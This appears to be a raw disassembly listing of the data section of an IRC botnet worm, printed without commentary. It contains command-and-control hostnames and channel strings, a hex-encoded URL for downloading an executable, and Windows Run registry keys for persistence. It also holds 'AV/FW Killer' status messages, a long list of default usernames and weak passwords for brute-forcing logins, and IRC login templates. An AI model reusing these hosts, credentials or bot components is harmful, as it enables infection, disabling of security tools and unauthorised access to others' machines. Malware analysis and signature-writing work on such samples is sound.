aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_4247EC+Ao
		align 4
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_424D78+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_424D78+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_424D78+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_4256C2:loc_4257B7o
		align 10h
a1Inf		db '1#INF',0            ; DATA XREF: sub_4256C2+D8o
		align 4
a1Ind		db '1#IND',0            ; DATA XREF: sub_4256C2+C7o
		align 10h
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_4256C2+ADo
		align 4
dword_427CE8	dd 0FFFFFFFFh, 4260BAh,	4260BEh, 0FFFFFFFFh, 426129h, 42612Dh
					; DATA XREF: sub_425F03+5o
		dd 427E24h
off_427D04	dd offset loc_4264E2	; DATA XREF: sub_4264BA+8o
					; sub_4264FE+2Co ...
		dd offset sub_4264D5
		dd offset sub_4266F6
		dd offset dword_427E70
off_427D14	dd offset sub_42654C	; DATA XREF: sub_4264FE+3Ao
					; sub_426568o ...
		dd offset sub_4264D5
		dd offset loc_426732
dword_427D20	dd 0			; DATA XREF: sub_4264FE+16o
					; sub_4265D0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_426573+11o
		dd offset dword_427EBC
off_427D40	dd offset sub_42665B	; DATA XREF: sub_426677o
					; sub_42669A+37o ...
		dd offset sub_4264D5
		dd offset loc_426714
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42669A+11o
		dd offset dword_427F00
off_427D60	dd offset loc_4267F7	; DATA XREF: sub_4267E2o
					; ___:off_43D764o ...
		dd offset dword_427F30
off_427D68	dd offset loc_426813	; DATA XREF: sub_42682F+8o
					; sub_42686C+8o ...
		dd offset sub_4268CC
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_4268CC+7o
		align 8
dword_427D88	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_4268D9+Eo
		dd 3, 19930520h, 2 dup(0)
dword_427DA8	dd 0FFFFFFFFh, 426A8Ah,	426A8Eh, 0FFFFFFFFh, 426B07h, 426B0Bh
					; DATA XREF: sub_426988+5o
dword_427DC0	dd 0FFFFFFFFh, 426CFFh,	426D03h, 0FFFFFFFFh, 426D5Ch, 426D60h
					; DATA XREF: sub_426C13+5o
		dd 43D764h, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_427DF0	dd offset off_43D77C	; DATA XREF: ___:00427E08o
					; ___:00427E54o ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427DF0
		dd offset dword_427DC0+18h
dword_427E10	dd 3 dup(0)		; DATA XREF: ___:00427E34o
		dd 2, 427E08h, 3 dup(0)
		dd offset off_43D77C
		dd offset dword_427E10+4
off_427E38	dd offset off_43D79C	; DATA XREF: ___:00427E50o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E38
		dd offset off_427DF0
		dd offset dword_427DC0+18h
dword_427E5C	dd 3 dup(0)		; DATA XREF: ___:00427E80o
		dd 3, 427E50h
dword_427E70	dd 3 dup(0)		; DATA XREF: ___:00427D10o
		dd offset off_43D79C
		dd offset dword_427E5C+4
off_427E84	dd offset off_43D7BC	; DATA XREF: ___:00427E9Co
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E84
		dd offset off_427DF0
		dd offset dword_427DC0+18h
dword_427EA8	dd 3 dup(0)		; DATA XREF: ___:00427ECCo
		dd 3, 427E9Ch
dword_427EBC	dd 3 dup(0)		; DATA XREF: ___:00427D3Co
		dd offset off_43D7BC
		dd offset dword_427EA8+4
off_427ED0	dd offset off_43D7E0	; DATA XREF: ___:00427EE8o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427ED0
dword_427EEC	dd 3 dup(0)		; DATA XREF: ___:00427F10o
		dd 1, 427EE8h
dword_427F00	dd 3 dup(0)		; DATA XREF: ___:00427D5Co
		dd offset off_43D7E0
		dd offset dword_427EEC+4
		dd offset dword_427DC0+18h
dword_427F18	dd 4 dup(0)		; DATA XREF: ___:00427F40o
		dd 1, 427F14h
dword_427F30	dd 3 dup(0)		; DATA XREF: ___:00427D64o
		dd offset off_43D764
		dd offset dword_427F18+8
		align 8
dword_427F48	dd 19930520h, 2, 427F68h, 5 dup(0) ; DATA XREF:	___:loc_426DF7o
		dd 0FFFFFFFFh, 426DE0h,	0
		dd offset sub_426DD8
dword_427F78	dd 19930520h, 2, 427F98h, 5 dup(0) ; DATA XREF:	___:loc_426E14o
		dd 0FFFFFFFFh, 426E04h,	0
		dd offset loc_426E0C
dword_427FA8	dd 19930520h, 2, 427FC8h, 1, 427FD8h, 3	dup(0) ; DATA XREF: ___:loc_426E20o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 427FF0h, 4	dup(0)
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0D7h, 40h, 0
		dd 0FFFFFFFFh, 426E2Ah
dword_428008	dd 19930520h, 1, 428000h, 5 dup(0) ; DATA XREF:	___:loc_426E32o
		dd offset off_43D764
		align 10h
		dd 0FFFFFFFFh, 0
		dd 0Ch,	42686Ch, 0
		dd offset off_43D77C
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	426618h, 0
		dd offset off_43D79C
		align 8
		dd 0FFFFFFFFh, 0
dword_428070	dd 1Ch,	426682h, 3, 42805Ch, 428040h, 428024h ;	DATA XREF: ___:00428094o
dword_428088	dd 0			; DATA XREF: sub_426573+2Eo
					; sub_4266F6+4Bo
		dd offset sub_426568
		dd 0
		dd offset dword_428070+8
		dd 0FFFFFFFFh, 426E3Ch
dword_4280A0	dd 19930520h, 1, 428098h, 4 dup(0) ; DATA XREF:	___:loc_426E44o
		dd 0FFFFFFFFh, 426E4Eh
dword_4280C4	dd 19930520h, 1, 4280BCh, 4 dup(0) ; DATA XREF:	___:loc_426E56o
		dd 0FFFFFFFFh, 426E60h
dword_4280E8	dd 19930520h, 1, 4280E0h, 5 dup(0) ; DATA XREF:	___:loc_426E68o
		dd offset off_43D7BC
		align 10h
		dd 0FFFFFFFFh, 0
dword_428118	dd 1Ch,	4266DEh, 3, 428104h, 428040h, 428024h ;	DATA XREF: ___:0042813Co
dword_428130	dd 0			; DATA XREF: sub_42669A+2Eo
					; sub_4266F6+2Do
		dd offset sub_426677
		dd 0
		dd offset dword_428118+8
		dd 0FFFFFFFFh, 426E72h
dword_428148	dd 19930520h, 1, 428140h, 4 dup(0) ; DATA XREF:	___:loc_426E7Ao
dword_428164	dd 2, 428040h, 428024h	; DATA XREF: ___:0042817Co
dword_428170	dd 0			; DATA XREF: sub_4266F6+Fo
		dd offset sub_4264BA
		dd 0
		dd offset dword_428164
		dd 5 dup(76171496h), 5 dup(3536DAE1h), 5 dup(35ED635Fh)
		dd 7Ah dup(0)
		dd 35ED635Fh, 0
		dd 76171496h, 15h dup(0)
		dd 3536DAE1h, 2FEh dup(0)
dword_429000	dd 0			; DATA XREF: ___:0041B7A3o
		dd offset loc_401205
		dd offset sub_40D879
		dd offset sub_40D89B
		dd offset dword_40E504+1D0h
dword_429014	dd 0			; DATA XREF: ___:0041B79Eo
dword_429018	dd 0			; DATA XREF: ___:0041B794o
		dd offset sub_41D052
		dd offset sub_42026D
		dd offset sub_423936
		dd offset word_424752
dword_42902C	dd 0			; DATA XREF: ___:loc_41B78Fo
dword_429030	dd 0			; DATA XREF: sub_41B7D3+65o
		dd offset sub_4239DB
dword_429038	dd 0			; DATA XREF: sub_41B7D3:loc_41B833o
dword_42903C	dd 0			; DATA XREF: sub_41B7D3+76o
		dd offset byte_424763
dword_429044	dd 3 dup(0)		; DATA XREF: sub_41B7D3:loc_41B844o
dword_429050	dd 80000002h, 429174h, 80000002h, 4291A4h, 80000001h, 429174h
					; DATA XREF: sub_401000+7o
dword_429068	dd 6272h		; DATA XREF: sub_401000+63o
					; sub_4010AB+Bo ...
dword_42906C	dd 1B58h		; DATA XREF: ___:004016C5r
					; ___:0040175Ar
dword_429070	dd 0C8Bh		; DATA XREF: ___:004017A6r
dword_429074	dd 7E4h			; DATA XREF: sub_401ACD:loc_40461Cr
dword_429078	dd 45h			; DATA XREF: sub_401ACD+2089r
					; sub_40BACE+3Br
dword_42907C	dd 7D1h			; DATA XREF: sub_401ACD:loc_403C44r
					; sub_40BACE:loc_40BEBFr
dword_429080	dd 201h			; DATA XREF: sub_401ACD:loc_403DD0r
word_429084	dw 7C7h			; DATA XREF: sub_401ACD:loc_40473Fr
		align 4
dword_429088	dd 1			; DATA XREF: sub_401ACD+65Fr
dword_42908C	dd 1			; DATA XREF: ___:0040135Er
dword_429090	dd 1			; DATA XREF: ___:loc_401562r
					; sub_41835A+Cr
byte_429094	db 2Eh			; DATA XREF: sub_401ACD+A92r
					; sub_401ACD+B4Cr ...
		align 4
dword_429098	dd 0Ah			; DATA XREF: sub_40ACB6+3Ar
					; sub_40ACB6+60r ...
dword_42909C	dd 4			; DATA XREF: sub_4017ED+78r
					; sub_401ACD+279r ...
dword_4290A0	dd 1			; DATA XREF: sub_4017ED+72r
					; sub_401ACD+273r
aQsfposs	db 'qsfposs',0          ; DATA XREF: ___:0040127Eo
					; sub_401ACD:loc_4044A1o ...
aAbosel7Vs	db 'abosel7 vs',0       ; DATA XREF: sub_401ACD:loc_404946o
		align 4
aCool		db 'cool',0             ; DATA XREF: sub_401ACD+7DDCo
					; sub_401ACD+7EABo
		align 10h
aSaber4_ircqfor	db 'saber4.ircqforum.com',0 ; DATA XREF: ___:004016B1o
					; ___:0040174Bo
		align 4
aFaak		db '#FAAK#',0           ; DATA XREF: ___:004016D1o
					; ___:00401761o ...
		align 10h
aSaad_		db 'saad.',0            ; DATA XREF: ___:004016E8o
					; ___:00401773o
		align 4
byte_4290E8	db 73h			; DATA XREF: ___:loc_401789r
					; ___:00401797o
aCorti1_dns2go_	db 'corti1.dns2go.com',0
		align 4
aFaak_0		db '#FAAK#',0           ; DATA XREF: ___:004017ADo
		align 4
aSaad__0	db 'saad.',0            ; DATA XREF: ___:004017BFo
		align 4
byte_42910C	db 75h			; DATA XREF: ___:00401364o
					; ___:00401388w ...
		db 70h,	64h, 65h
		dd 6E697774h, 78652E64h, 65h
dword_42911C	dd 6E646977h, 61622E74h, 74h ; DATA XREF: ___:00411C51o
aWindsSerscAgts	db 'Winds Sersc Agts',0 ; DATA XREF: sub_401000+Eo
		align 4
		unicode	0, <->,0
aWinsys_dat	db 'winsys.dat',0
		align 4
aXI		db '-x+i',0             ; DATA XREF: sub_401ACD+7F27o
		align 4
aF		db '#f',0               ; DATA XREF: sub_401ACD+1D46o
					; sub_401ACD+3040o ...
		align 4
aF_0		db '#f',0               ; DATA XREF: sub_401ACD+44A3o
		align 4
aF_1		db '#f',0               ; DATA XREF: sub_401ACD+40C5o
					; sub_401ACD+4217o
		align 10h
off_429160	dd offset a@admin_com	; DATA XREF: sub_401ACD:loc_4098FCo
					; "*@admin.com"
off_429164	dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8C3r
					; sub_401ACD+7E4Bo
					; "mIRC	v6.16 Khaled Mardam-Bey"
		dd offset aMircV6_17Khale ; "mIRC v6.17	Khaled Mardam-Bey"
		dd offset aMircV6_20Khale ; "mIRC v6.20	Khaled Mardam-Bey"
		dd offset aMircV6_21Khale ; "mIRC v6.21	Khaled Mardam-Bey"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_419E7A+28o
					; sub_41A19E+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_419E7A+D4o
					; sub_41A19E+D4o
		align 4
		dd 2 dup(1), 70747468h,	772F2F3Ah, 662E7777h, 77656572h
		dd 6F746265h, 632E6E77h, 7A2F6D6Fh, 2F737678h, 73636E76h
		dd 652E6D79h, 6578h, 42993Ch, 42992Ch, 42991Ch,	429910h
		dd 429908h, 429900h, 4298F8h, 4298F0h, 4298E4h,	4298DCh
		dd 4298D4h, 4298CCh, 4298C0h, 4298B8h, 4298B0h,	4298A4h
		dd 4298A0h, 429898h, 429894h, 0
		dd offset dword_43D808
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aAdm		; "adm"
		dd offset aPassword1	; "password1"
		dd offset aPassword	; "password"
		dd offset aPasswd	; "passwd"
		dd offset aPass1234	; "pass1234"
		dd offset aPass		; "pass"
		dd offset aPwd		; "pwd"
		dd offset a007		; "007"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a1234567890	; "1234567890"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset aTest		; "test"
		dd offset aGuest_0	; "guest"
		dd offset aNone		; "none"
		dd offset aDemo		; "demo"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aDefault	; "default"
		dd offset aSystem	; "system"
		dd offset aServer	; "server"
		dd offset aRoot		; "root"
		dd offset aNull_1	; "null"
		dd offset aQwerty	; "qwerty"
		dd offset aMail		; "mail"
		dd offset aOutlook	; "outlook"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aAccounts	; "accounts"
		dd offset aAccounting	; "accounting"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOem		; "oem"
		dd offset aOemuser	; "oemuser"
		dd offset aOeminstall	; "oeminstall"
		dd offset aWindows	; "windows"
		dd offset aWin98	; "win98"
		dd offset aWin2k	; "win2k"
		dd offset aWinxp	; "winxp"
		dd offset aWinnt	; "winnt"
		dd offset aWin2000	; "win2000"
		dd offset aQaz		; "qaz"
		dd offset aAsd		; "asd"
		dd offset aZxc		; "zxc"
		dd offset aQwe		; "qwe"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
		dd offset aSusan	; "susan"
		dd offset aPeter	; "peter"
		dd offset aBrian	; "brian"
		dd offset aLee		; "lee"
		dd offset aNeil		; "neil"
		dd offset aIan		; "ian"
		dd offset aChris	; "chris"
		dd offset aEric		; "eric"
		dd offset aGeorge	; "george"
		dd offset aKate		; "kate"
		dd offset aBob		; "bob"
		dd offset aKatie	; "katie"
		dd offset aMary		; "mary"
		dd offset aLogin	; "login"
		dd offset aLoginpass	; "loginpass"
		dd offset aTechnical	; "technical"
		dd offset aBackup	; "backup"
		dd offset aExchange	; "exchange"
		dd offset aFuck		; "fuck"
		dd offset aBitch	; "bitch"
		dd offset aSlut		; "slut"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aDomain	; "domain"
		dd offset aDomainpass	; "domainpass"
		dd offset aDomainpassword ; "domainpassword"
		dd offset aDatabase	; "database"
		dd offset aAccess	; "access"
		dd offset aDbpass	; "dbpass"
		dd offset aDbpassword	; "dbpassword"
		dd offset aDatabasepass	; "databasepass"
		dd offset aData		; "data"
		dd offset aDatabasepasswo ; "databasepassword"
		dd offset aDb1		; "db1"
		dd offset aDb2		; "db2"
		dd offset aDb1234	; "db1234"
		dd offset aSa		; "sa"
		dd offset aSql		; "sql"
		dd offset aSqlpassoainsta ; "sqlpassoainstall"
		dd offset aOrainstall	; "orainstall"
		dd offset aOracle	; "oracle"
		dd offset aIbm		; "ibm"
		dd offset aCisco	; "cisco"
		dd offset aDell		; "dell"
		dd offset aCompaq	; "compaq"
		dd offset aSiemens	; "siemens"
		dd offset aHp		; "hp"
		dd offset aNokia	; "nokia"
		dd offset aXp		; "xp"
		dd offset aControl	; "control"
		dd offset aOffice	; "office"
		dd offset aBlank	; "blank"
		dd offset aWinpass	; "winpass"
		dd offset aMain		; "main"
		dd offset aLan		; "lan"
		dd offset aInternet	; "internet"
		dd offset aIntranet	; "intranet"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		align 10h
dword_4294D0	dd 10h			; DATA XREF: sub_401ACD+AFCr
					; sub_401ACD+B28r ...
aIntranet	db 'intranet',0         ; DATA XREF: ___:004294BCo
		align 10h
aLan		db 'lan',0              ; DATA XREF: ___:004294B4o
aMain		db 'main',0             ; DATA XREF: ___:004294B0o
		align 4
aWinpass	db 'winpass',0          ; DATA XREF: ___:004294ACo
aBlank		db 'blank',0            ; DATA XREF: ___:004294A8o
		align 4
aOffice		db 'office',0           ; DATA XREF: ___:004294A4o
		align 4
aControl	db 'control',0          ; DATA XREF: ___:004294A0o
aXp		db 'xp',0               ; DATA XREF: ___:0042949Co
		align 10h
aNokia		db 'nokia',0            ; DATA XREF: ___:00429498o
		align 4
aHp		db 'hp',0               ; DATA XREF: ___:00429494o
		align 4
aSiemens	db 'siemens',0          ; DATA XREF: ___:00429490o
aCompaq		db 'compaq',0           ; DATA XREF: ___:0042948Co
		align 4
aDell		db 'dell',0             ; DATA XREF: ___:00429488o
		align 4
aCisco		db 'cisco',0            ; DATA XREF: ___:00429484o
		align 4
aIbm		db 'ibm',0              ; DATA XREF: ___:00429480o
aOrainstall	db 'orainstall',0       ; DATA XREF: ___:00429478o
		align 4
aSqlpassoainsta	db 'sqlpassoainstall',0 ; DATA XREF: ___:00429474o
		align 10h
aSql		db 'sql',0              ; DATA XREF: ___:00429470o
aSa		db 'sa',0               ; DATA XREF: sub_401ACD+1BFDo
					; ___:0042946Co
		align 4
aDb1234		db 'db1234',0           ; DATA XREF: ___:00429468o
		align 10h
aDb1		db 'db1',0              ; DATA XREF: ___:00429460o
aDatabasepasswo	db 'databasepassword',0 ; DATA XREF: ___:0042945Co
		align 4
aData		db 'data',0             ; DATA XREF: ___:00429458o
		align 10h
aDatabasepass	db 'databasepass',0     ; DATA XREF: ___:00429454o
		align 10h
aDbpassword	db 'dbpassword',0       ; DATA XREF: ___:00429450o
		align 4
aDbpass		db 'dbpass',0           ; DATA XREF: ___:0042944Co
		align 4
aAccess		db 'access',0           ; DATA XREF: ___:00429448o
		align 4
aDomainpassword	db 'domainpassword',0   ; DATA XREF: ___:00429440o
		align 4
aDomainpass	db 'domainpass',0       ; DATA XREF: ___:0042943Co
		align 4
aDomain		db 'domain',0           ; DATA XREF: ___:00429438o
		align 10h
aHello		db 'hello',0            ; DATA XREF: ___:00429434o
		align 4
aHell		db 'hell',0             ; DATA XREF: ___:00429430o
		align 10h
aGod		db 'god',0              ; DATA XREF: ___:0042942Co
aSex		db 'sex',0              ; DATA XREF: ___:00429428o
					; ___:off_4385E8o
aSlut		db 'slut',0             ; DATA XREF: ___:00429424o
		align 10h
aBitch		db 'bitch',0            ; DATA XREF: ___:00429420o
		align 4
aFuck		db 'fuck',0             ; DATA XREF: ___:0042941Co
		align 10h
aExchange	db 'exchange',0         ; DATA XREF: ___:00429418o
		align 4
aBackup		db 'backup',0           ; DATA XREF: ___:00429414o
		align 4
aTechnical	db 'technical',0        ; DATA XREF: ___:00429410o
		align 10h
aLoginpass	db 'loginpass',0        ; DATA XREF: ___:0042940Co
		align 4
aLogin		db 'login',0            ; DATA XREF: sub_401ACD+AA3o
					; ___:00429408o
		align 4
aMary		db 'mary',0             ; DATA XREF: ___:00429404o
		align 4
aKatie		db 'katie',0            ; DATA XREF: ___:00429400o
		align 4
aKate		db 'kate',0             ; DATA XREF: ___:004293F8o
		align 4
aGeorge		db 'george',0           ; DATA XREF: ___:004293F4o
		align 4
aEric		db 'eric',0             ; DATA XREF: ___:004293F0o
		align 4
aChris		db 'chris',0            ; DATA XREF: ___:004293ECo
		align 4
aIan		db 'ian',0              ; DATA XREF: ___:004293E8o
aNeil		db 'neil',0             ; DATA XREF: ___:004293E4o
		align 10h
aLee		db 'lee',0              ; DATA XREF: ___:004293E0o
aBrian		db 'brian',0            ; DATA XREF: ___:004293DCo
		align 4
aSusan		db 'susan',0            ; DATA XREF: ___:004293D4o
		align 4
aSue		db 'sue',0              ; DATA XREF: ___:004293D0o
aSam		db 'sam',0              ; DATA XREF: ___:004293CCo
aLuke		db 'luke',0             ; DATA XREF: ___:004293C8o
		align 4
aPeter		db 'peter',0            ; DATA XREF: ___:004293C4o
					; ___:004293D8o
		align 4
aJohn		db 'john',0             ; DATA XREF: ___:004293C0o
		align 4
aMike		db 'mike',0             ; DATA XREF: ___:004293BCo
		align 4
aBill		db 'bill',0             ; DATA XREF: ___:004293B8o
		align 4
aFred		db 'fred',0             ; DATA XREF: ___:004293B4o
		align 4
aJoe		db 'joe',0              ; DATA XREF: ___:004293B0o
aJen		db 'jen',0              ; DATA XREF: ___:004293ACo
aBob		db 'bob',0              ; DATA XREF: ___:004293A8o
					; ___:004293FCo
aQwe		db 'qwe',0              ; DATA XREF: ___:004293A4o
aZxc		db 'zxc',0              ; DATA XREF: ___:004293A0o
aAsd		db 'asd',0              ; DATA XREF: ___:0042939Co
aQaz		db 'qaz',0              ; DATA XREF: ___:00429398o
aWin2000	db 'win2000',0          ; DATA XREF: ___:00429394o
aWinnt		db 'winnt',0            ; DATA XREF: ___:00429390o
		align 4
aWinxp		db 'winxp',0            ; DATA XREF: ___:0042938Co
		align 10h
aWin2k		db 'win2k',0            ; DATA XREF: ___:00429388o
		align 4
aWin98		db 'win98',0            ; DATA XREF: ___:00429384o
		align 10h
aWindows	db 'windows',0          ; DATA XREF: ___:00429380o
aOeminstall	db 'oeminstall',0       ; DATA XREF: ___:0042937Co
		align 4
aOemuser	db 'oemuser',0          ; DATA XREF: ___:00429378o
aOem		db 'oem',0              ; DATA XREF: ___:00429374o
aUser		db 'user',0             ; DATA XREF: sub_401ACD+46D4o
					; ___:00429370o
		align 4
aHomeuser	db 'homeuser',0         ; DATA XREF: ___:0042936Co
		align 4
aHome		db 'home',0             ; DATA XREF: ___:00429368o
		align 4
aAccounting	db 'accounting',0       ; DATA XREF: ___:00429364o
		align 4
aAccounts	db 'accounts',0         ; DATA XREF: ___:00429360o
		align 4
aInternet	db 'internet',0         ; DATA XREF: ___:0042935Co
					; ___:004294B8o
		align 10h
aWww		db 'www',0              ; DATA XREF: ___:00429358o
aWeb		db 'web',0              ; DATA XREF: ___:00429354o
aOutlook	db 'outlook',0          ; DATA XREF: ___:00429350o
aMail		db 'mail',0             ; DATA XREF: ___:0042934Co
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: ___:00429348o
		align 10h
aNull_1		db 'null',0             ; DATA XREF: ___:00429344o
		align 4
aServer		db 'server',0           ; DATA XREF: sub_401ACD+3E90o
					; ___:0042933Co
		align 10h
aSystem		db 'system',0           ; DATA XREF: ___:00429338o
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: ___:00429330o
		align 4
aLinux		db 'linux',0            ; DATA XREF: ___:0042932Co
		align 4
aUnix		db 'unix',0             ; DATA XREF: ___:00429328o
		align 4
aDemo		db 'demo',0             ; DATA XREF: ___:00429324o
		align 4
aNone		db 'none',0             ; DATA XREF: ___:00429320o
		align 4
aTest		db 'test',0             ; DATA XREF: ___:00429318o
		align 4
a2004		db '2004',0             ; DATA XREF: ___:00429314o
		align 4
a2003		db '2003',0             ; DATA XREF: sub_41AA43+BAo
					; ___:00429310o
		align 4
a2002		db '2002',0             ; DATA XREF: ___:0042930Co
		align 4
a2001		db '2001',0             ; DATA XREF: ___:00429308o
		align 4
a2000		db '2000',0             ; DATA XREF: ___:00429304o
		align 4
a1234567890	db '1234567890',0       ; DATA XREF: ___:00429300o
		align 10h
a123456789	db '123456789',0        ; DATA XREF: ___:004292FCo
		align 4
a12345678	db '12345678',0         ; DATA XREF: ___:004292F8o
		align 4
a1234567	db '1234567',0          ; DATA XREF: ___:004292F4o
a123456		db '123456',0           ; DATA XREF: ___:004292F0o
		align 4
a12345		db '12345',0            ; DATA XREF: ___:004292ECo
		align 10h
a1234		db '1234',0             ; DATA XREF: ___:004292E8o
		align 4
a123		db '123',0              ; DATA XREF: ___:004292E4o
a12		db '12',0               ; DATA XREF: ___:004292E0o
		align 10h
a1:					; DATA XREF: ___:004292DCo
		unicode	0, <1>,0
a007		db '007',0              ; DATA XREF: ___:004292D8o
aPwd		db 'pwd',0              ; DATA XREF: ___:004292D4o
aPass		db 'pass',0             ; DATA XREF: ___:004292D0o
		align 4
aPass1234	db 'pass1234',0         ; DATA XREF: ___:004292CCo
		align 10h
aPasswd		db 'passwd',0           ; DATA XREF: ___:004292C8o
		align 4
aPassword	db 'password',0         ; DATA XREF: ___:004292C4o
		align 4
aPassword1	db 'password1',0        ; DATA XREF: ___:004292C0o
		align 10h
aAdm		db 'adm',0              ; DATA XREF: ___:004292BCo
aDb2		db 'db2',0              ; DATA XREF: ___:00429464o
aOracle		db 'oracle',0           ; DATA XREF: ___:0042947Co
		align 10h
aDba		db 'dba',0
aDatabase	db 'database',0         ; DATA XREF: ___:00429444o
		align 10h
aDefault	db 'default',0          ; DATA XREF: ___:00429334o
aGuest_0	db 'guest',0            ; DATA XREF: ___:0042931Co
		align 10h
aWwwadmin	db 'wwwadmin',0
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: ___:004294C4o
aStudent	db 'student',0          ; DATA XREF: ___:004294C0o
aOwner		db 'owner',0
		align 4
aComputer	db 'computer',0
		align 10h
aRoot		db 'root',0             ; DATA XREF: ___:00429340o
		align 4
aStaff		db 'staff',0            ; DATA XREF: ___:004294C8o
		align 10h
aAdmin		db 'admin',0            ; DATA XREF: ___:004292B8o
		align 4
aAdmins		db 'admins',0           ; DATA XREF: ___:004292B4o
		align 10h
aAdministrat	db 'administrat',0      ; DATA XREF: ___:004292B0o
aAdministrateur	db 'administrateur',0   ; DATA XREF: ___:004292ACo
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: ___:004292A8o
		align 4
aAdministrato_0	db 'administrator',0    ; DATA XREF: ___:004292A4o
		align 4
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429170o
		align 4
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co
		align 4
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o
		align 4
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429164o
		align 4
a@admin_com	db '*@admin.com',0      ; DATA XREF: ___:off_429160o
dword_4299D8	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:0040168Co
aFailedToStartS	db '- Failed to start server, error: <%d>.',0
		align 4
dword_429A0C	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:00401641o
aServerRunningO	db '- Server running on Port: 113.',0
		align 4
unk_429A38	db  2Dh	; -		; DATA XREF: ___:00401614o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 4
unk_429A78	db  2Dh	; -		; DATA XREF: ___:004015C3o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 4
dword_429A9C	dd 234032Dh, 6E69616Dh,	202D0203h, 20746F42h, 72617473h
					; DATA XREF: ___:00401585o
		dd 2E646574h, 0
dword_429AB8	dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o
dword_429AC4	dd 255C7325h, 73h	; DATA XREF: ___:004013AAo
					; sub_415A30+7Eo
dword_429ACC	dd 73257325h, 0		; DATA XREF: ___:0040132Eo
					; sub_40F6B4+EAo ...
unk_429AD4	db  2Dh	; -		; DATA XREF: sub_4017ED+F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aConnectedToS_	db 'Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_401955+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 10h
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_401955+35o
		align 4
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F2Fo
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F17o
		align 4
unk_429B3C	db  2Dh	; -		; DATA XREF: sub_401ACD+7F0Ao
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
